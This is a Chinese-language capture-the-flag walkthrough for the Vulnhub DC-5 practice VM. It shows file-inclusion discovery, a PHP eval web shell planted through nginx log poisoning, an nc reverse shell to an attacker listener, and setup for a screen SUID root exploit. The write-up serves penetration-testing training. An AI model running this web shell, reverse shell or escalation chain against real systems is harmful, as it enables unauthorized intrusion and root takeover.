Vulnhub靶机DC系列-DC5
靶场信息
- Name: DC: 5
- Date release: 21 Apr 2019
- Author: DCAU
- Series: DC
- Web page: http://www.five86.com/dc-5.html
靶场描述
DC-5 是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
计划是让 DC-5 提高一个档次,所以这对初学者来说可能不是很好,但对于有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也会如此)。
据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面的刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。
只是为了记录,没有涉及 phpmailer 漏洞利用。:-)
这一挑战的最终目标是获得根并阅读唯一的标志。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
但如果你真的,真的被卡住了,你可以观看这个展示第一步的视频。
技术信息
DC-5 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。
我已经在 VMWare Player 上对此进行了测试,但如果在 VMware 中运行此 VM 有任何问题,请通读此内容。
它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。
安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。
开始
存活主机
1 | dc-5 : 192.168.169.230 |
扫描IP
- 80 先放访问下网页
网页
扫一下目录
- 安装工具
1 | apt-get install dirsearch |
- 扫描
1 | dirsearch -u http://192.168.169.230/ |
- 访问目录
这个目录每次刷新日期都会变化
并且thankyou.php包含了footer.php页面,尝试使用文件包含漏洞
- 随便写点东西 提交,bp抓包
- 传入一句话
1 | <?php @eval($_POST['111']);?> |
- nginx 日志
1 | http://192.168.169.230/thankyou.php?file=/var/log/nginx/error.log |
- 连接一句话
nc监听
kali :
1 | nc -lvnp 4444 |
DC - 5
1 | nc 192.168.169.220 4444 -e /bin/sh |
- 反弹shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
寻找带权限的文件夹
1 | find / -perm -u=s -type f 2>/dev/null |
1 | Screen是一个全屏窗口管理器,它在多个进程(通常是交互式shell)之间多路传输物理终端。每个虚拟终端提供DEC VT100终端的功能,以及ANSI X3的几个控制功能。64(ISO 6429)和ISO 2022标准(例如,插入/删除行和支持多个字符集)。每个虚拟终端都有一个回滚历史缓冲区和一个复制粘贴机制,允许用户在窗口之间移动文本区域。当调用screen时,它会创建一个包含shell(或指定命令)的窗口,然后避开您的方式,以便您可以正常使用该程序。然后,您可以随时创建包含其他程序(包括更多shell)的新(全屏)窗口、关闭当前窗口、查看活动窗口列表、打开和关闭输出日志、在窗口之间复制文本、查看滚动历史记录、在窗口之间切换,等等。所有窗口都完全独立运行其程序。当窗口当前不可见时,甚至当整个屏幕会话与用户终端分离时,程序仍继续运行。 |
搜索漏洞
这份文档要分成三个部分来看
- 第一部的
新建文件 libhax.c 先将第一部分内容写到 libhax.c 中
1 | #include <stdio.h> |
编译
1 | gcc -fPIC -shared -ldl -o libhax.so libhax.c |
- 第二部分
- 新建文件 rootshell.c 第二部分保存到 rootshell.c
1 | #include <stdio.h> |
编译
1 | gcc -o rootshell rootshell.c |
- 第三部分
新建 dc5.sh
将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash
表示执行环境。最后保存是需要输入:set ff=unix
是为了防止脚本的格式错误。
1 | #!/bin/bash |
- 上传